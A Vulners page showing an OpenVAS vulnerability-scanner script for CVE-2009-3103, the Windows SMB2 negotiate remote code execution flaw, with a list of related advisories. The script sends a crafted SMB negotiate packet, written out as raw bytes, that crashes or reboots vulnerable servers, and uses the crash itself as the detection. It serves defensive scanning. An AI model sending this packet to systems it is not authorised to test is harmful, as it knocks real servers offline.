Microsoft Windows SMB2 '_Smb2ValidateProviderCallback()' Remote Code Execution Vulnerability
🗓️ 01 Oct 2009 00:00:00Reported by This script is Copyright (C) 2009 Greenbone Networks GmbHType
openvas🔗 plugins.openvas.org👁 127 Views
| Reporter | Title | Published | Views | Family All 48 |
|---|---|---|---|---|
| Microsoft Windows - 'srv2.sys' SMB Code Execution (Python) (MS09-050) Exploit | 26 Feb 201600:00 | – | zdt | |
| Exploit for CVE-2009-3103 | 26 Jan 202607:13 | – | githubexploit | |
| The vulnerability of the SMBv2 component of the Windows operating system allows a perpetrator to execute arbitrary code or cause a service failure. | 7 Sep 202100:00 | – | bdu_fstec | |
| CVE-2009-3103 | 9 Sep 200900:00 | – | circl | |
| Microsoft Windows Server Remote Code Execution (CVE-2009-3103) | 30 May 202100:00 | – | checkpoint_advisories | |
| Microsoft Windows SMB Negotiate Request Remote Code Execution (CVE-2009-2532; CVE-2009-3103) | 9 Sep 200900:00 | – | checkpoint_advisories | |
| CVE-2009-3103 | 8 Sep 200922:00 | – | cve | |
| CVE-2009-3103 | 8 Sep 200922:00 | – | cvelist | |
| Microsoft Windows 7/2008 R2 - Remote Kernel Crash | 11 Nov 200900:00 | – | exploitdb | |
| Microsoft Windows - SMB2 Negotiate Protocol '0x72' Response Denial of Service | 7 May 201000:00 | – | exploitdb |
10
10
###############################################################################
# OpenVAS Vulnerability Test
# $Id: ms_smb2_highid.nasl 5002 2017-01-13 10:17:13Z teissa $
#
# Microsoft Windows SMB2 '_Smb2ValidateProviderCallback()' Remote Code Execution Vulnerability
#
# Authors:
# Michael Meyer
#
# Copyright:
# Copyright (c) 2009 Greenbone Networks GmbH
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License version 2
# (or any later version), as published by the Free Software Foundation.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
###############################################################################
tag_summary = "Microsoft Windows is prone to a remote code-execution vulnerability
when processing the protocol headers for the Server Message Block
(SMB) Negotiate Protocol Request.
NOTE: Reportedly, for this issue to be exploitable, file sharing must
be enabled.
An attacker can exploit this issue to execute code with SYSTEM-level
privileges; failed exploit attempts will likely cause denial-of-
service conditions.
Windows 7 RC, Vista and 2008 Server are vulnerable; other versions may
also be affected.
NOTE: Reportedly, Windows XP and 2000 are not affected.
UPDATE (September 9, 2009): Symantec has confirmed the issue on
Windows Vista SP1 and Windows Server 2008.";
if (description)
{
script_id(100283);
script_version("$Revision: 5002 $");
script_tag(name:"last_modification", value:"$Date: 2017-01-13 11:17:13 +0100 (Fri, 13 Jan 2017) $");
script_tag(name:"creation_date", value:"2009-10-01 18:57:31 +0200 (Thu, 01 Oct 2009)");
script_bugtraq_id(36299);
script_cve_id("CVE-2009-3103");
script_tag(name:"cvss_base", value:"10.0");
script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:C/I:C/A:C");
script_name("Microsoft Windows SMB2 '_Smb2ValidateProviderCallback()' Remote Code Execution Vulnerability");
script_tag(name:"qod_type", value:"remote_vul");
script_category(ACT_KILL_HOST);
script_family("Windows");
script_copyright("This script is Copyright (C) 2009 Greenbone Networks GmbH");
script_dependencies("find_service.nasl");
script_require_ports(445);
script_tag(name : "summary" , value : tag_summary);
script_xref(name : "URL" , value : "http://www.securityfocus.com/bid/36299");
script_xref(name : "URL" , value : "http://blog.48bits.com/?p=510#more-510");
script_xref(name : "URL" , value : "http://www.microsoft.com/technet/security/advisory/975497.mspx");
script_xref(name : "URL" , value : "http://blogs.technet.com/msrc/archive/2009/09/08/microsoft-security-advisory-975497-released.aspx");
script_xref(name : "URL" , value : "http://www.microsoft.com/windows/windows-7/");
script_xref(name : "URL" , value : "http://www.reversemode.com/index.php?option=com_content&task=view&id=64&Itemid=1");
script_xref(name : "URL" , value : "http://blogs.technet.com/srd/archive/2009/09/18/update-on-the-smb-vulnerability.aspx");
script_xref(name : "URL" , value : "http://www.microsoft.com/windows/products/windowsvista/default.mspx");
script_xref(name : "URL" , value : "http://g-laurent.blogspot.com/2009/09/windows-vista7-smb20-negotiate-protocol.html");
script_xref(name : "URL" , value : "http://www.securityfocus.com/archive/1/506300");
script_xref(name : "URL" , value : "http://www.securityfocus.com/archive/1/506327");
script_xref(name : "URL" , value : "http://www.kb.cert.org/vuls/id/135940");
exit(0);
}
include("misc_func.inc");
if(safe_checks())exit(0);
port = 445;
if(!get_port_state(port))exit(0);
soc = open_sock_tcp(port);
if(!soc)exit(0);
data = raw_string(0x00,0x00,0x00,0x90,0xff,0x53,0x4d,0x42,0x72,0x00,0x00,0x00,0x00,0x18,0x53,0xc8,
0x00,0x26,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xff,0xff,0xff,0xfe,
0x00,0x00,0x00,0x00,0x00,0x6d,0x00,0x02,0x50,0x43,0x20,0x4e,0x45,0x54,0x57,0x4f,
0x52,0x4b,0x20,0x50,0x52,0x4f,0x47,0x52,0x41,0x4d,0x20,0x31,0x2e,0x30,0x00,0x02,
0x4c,0x41,0x4e,0x4d,0x41,0x4e,0x31,0x2e,0x30,0x00,0x02,0x57,0x69,0x6e,0x64,0x6f,
0x77,0x73,0x20,0x66,0x6f,0x72,0x20,0x57,0x6f,0x72,0x6b,0x67,0x72,0x6f,0x75,0x70,
0x73,0x20,0x33,0x2e,0x31,0x61,0x00,0x02,0x4c,0x4d,0x31,0x2e,0x32,0x58,0x30,0x30,
0x32,0x00,0x02,0x4c,0x41,0x4e,0x4d,0x41,0x4e,0x32,0x2e,0x31,0x00,0x02,0x4e,0x54,
0x20,0x4c,0x4d,0x20,0x30,0x2e,0x31,0x32,0x00,0x02,0x53,0x4d,0x42,0x20,0x32,0x2e,
0x30,0x30,0x32,0x00); # Tested against 2008 Server. A vulnerable Server doing a reboot. I'm not happy with that, but a the moment i have no idea how to detect this vulnerability without exploiting it.
send(socket: soc, data: data);
close(soc);
sleep(2);
soc1 = open_sock_tcp(port);
if(!soc1) {
security_message(port:port);
exit(0);
} else {
close(soc1);
}
exit(0);
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
13 Jan 2017 00:00Current
0.7Low risk
Vulners AI Score0.7
EPSS0.90227